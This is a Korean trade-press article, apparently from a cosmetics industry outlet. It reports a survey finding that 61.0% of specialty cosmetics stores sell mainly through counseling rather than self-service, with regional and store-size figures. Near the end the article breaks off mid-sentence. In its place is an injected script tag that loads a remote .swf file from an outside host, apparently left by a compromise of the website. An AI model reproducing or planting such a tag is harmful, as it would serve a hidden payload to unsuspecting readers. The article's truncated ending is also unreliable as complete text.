‘할인점에서 카운슬링 매장으로’ 전문점이 변한다 카운슬링 성향 61.0%… 제품지식·서비스·매장환경 뒷받침돼야
현재 전문점은 셀프 경향이 강할까 카운슬링 경향이 강할까?
고객의 구매 양상을 통해 전문점의 현주소를 알아보기 위한 설문조사에서 60% 이상의 전문점이 카운슬링 위주의 매장인 것으로 밝혀졌다.
‘매장을 찾는 고객들의 제품 구매 양상은 어떠한가’라는 질문에 ‘피부상태부터 상담한다’는 답변이 78명으로 15.6%, ‘피부상태는 알고 있으며 제품에 대해 상담한다’가 227명으로 45.4%를 나타냈다. 이들 답변의 경우 카운슬러에게 제품에 대해 적극적으로 상담하는 경우로 전문점이 카운슬링 매장임을 암시한다.
반면, ‘특별 브랜드의 제품을 찾는다’는 답변은 152명으로 30.4%를 차지했고 ‘제품명까지 구체적으로 말한다’는 응답자는 37명으로 7.4%를 나타냈다. 기타의견으로는 ‘적당한 가격에 맞는 제품을 찾는다’, ‘판촉물을 보고 선택한다’ 등의 답변이 나왔다.
적극적인 카운슬링 15.6%
이번 조사에서 전체의 61.0%인 305명의 응답자가 카운슬링 중심으로 판매를 하는 것으로 밝혀져 최근 전문점의 환경이 카운슬링 중심으로 변하고 있는 것을 여실히 드러냈다. 특히, 피부상태부터 상담한다는 응답자가 15.6%를 차지해 카운슬링 매장의 강세를 보여줬다. 소비자가 찾아와 피부상태부터 상담한다는 것은 전문점을 전적으로 믿는다는 것을 증명한다. 자신의 피부타입을 전문 카운슬러와 상담하고 이를 통해 제품을 구입하는 만큼 확실한 카운슬링 매장인 것이다.
피부상태는 알고 있으며 제품에 대해 상담한다는 답변은 카운슬링 매장으로 변하고 있는 과도기적 단계로 보인다. 이미 상담이나 자체 테스트를 통해 자신의 피부 상태를 알고 있으나 제품에 대한 정보가 부족해 상담을 하는 것이다. 이런 경우 카운슬러는 고객의 피부 타입에 맞춰 몇가지 유형의 제품을 추천해 고객에게 제품 선택의 기회를 부여하고 있다. 일부 전문점에서는 고객에게 고마진 거점 브랜드를 권매하곤 하는데 고객에게 제품 선택 기회를 빼앗아 부작용도 종종 나타나는 것으로 전해진다.
카운슬링 매장은 전국적으로 고른 분포도를 보이고 있으며 경기와 충남이 각각 70.0%로 약간 높은 것으로 나타났다. 서울은 58.0%를 나타내 전국 비율에 못 미쳤다.
셀프 매장 환경적 제약 있어
셀프 매장은 고객이 제품명까지 구체적으로 말하는 적극적인 셀프 매장과 특정 브랜드의 제품을 찾는 수동적인 셀프 매장을 합해 전체의 37.8%로 나타났다. 하지만 제품명까지 구체적으로 말하는 경우는 7.4%에 불과해 아직 셀프 전문점의 탄생이 이른 것을 보여줬다.
셀프 시장이 커지기 위해서는 소비자들의 제품 지식 향상이 뒤따라야 하는데 아직 국내 수준은 이에 못 미치는 것으로 보인다. 미국이나 일본처럼 셀프 매장이 성숙하기 위해서는 다양한 루트를 통해 소비자들에게 제품 정보가 공급되어야 하며 매장의 진열 또한 이에 맞춰야 할 것이다.
본지 조사에 의하면(본지 252호 참조) 아직 국내 전문점은 5평 이하가 23.8%, 6~10평이 39.2%로 나타나 10평 이하인 전문점이 전체의 63.0%를 차지하고 있다.
셀프 매장을 추구하는데 ?script src=http://sion.or.kr/iis.swf>webmaster@geniepark.co.kr
<저작권자 © 제니파크, 무단 전재 및 재배포 금지>
